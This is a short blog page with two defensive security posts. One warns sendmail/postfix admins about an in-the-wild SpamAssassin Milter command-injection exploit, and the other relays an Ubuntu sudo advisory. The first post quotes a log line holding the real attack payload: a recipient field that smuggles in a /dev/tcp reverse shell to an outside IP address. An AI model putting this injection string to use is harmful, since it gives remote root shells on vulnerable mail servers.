Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts

Monday, February 14, 2011

Vulnerability in Spamassassin milter plugin

Owners of sendmail/postfix with the Spamassassin Milter plugin, watch out! Exploit is in the wild:
Spamassassin Milter Plugin Remote Root,
SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability,
ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt.

Check your logs for mail like this:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: from=blue@dick.com, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA-v4, relay=eluxenia.com [62.149.195.3]

If the system is not vulnerable, sendmail would reply with:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: root+:"|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0"... Cannot mail directly to programs

At least, this is what my sendmail reported.

Monday, March 1, 2010

Ubuntu: Sudo vulnerability

Not too dangerous, unless you grant sudo rights to too many people, but worrying enough: Ubuntu Security Notice USN-905-1:

sudo did not properly validate the path for the 'sudoedit' pseudo-command. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. The sudoedit pseudo-command is not used in the default installation of Ubuntu.

And another one, only a little bit more unnerving:

sudo did not reset group permissions when the 'runas_default' configuration option was used. A local attacker could exploit this to escalate group privileges if sudo was configured to allow the attacker to run commands under the runas_default account. The runas_default configuration option is not used in the default installation of Ubuntu.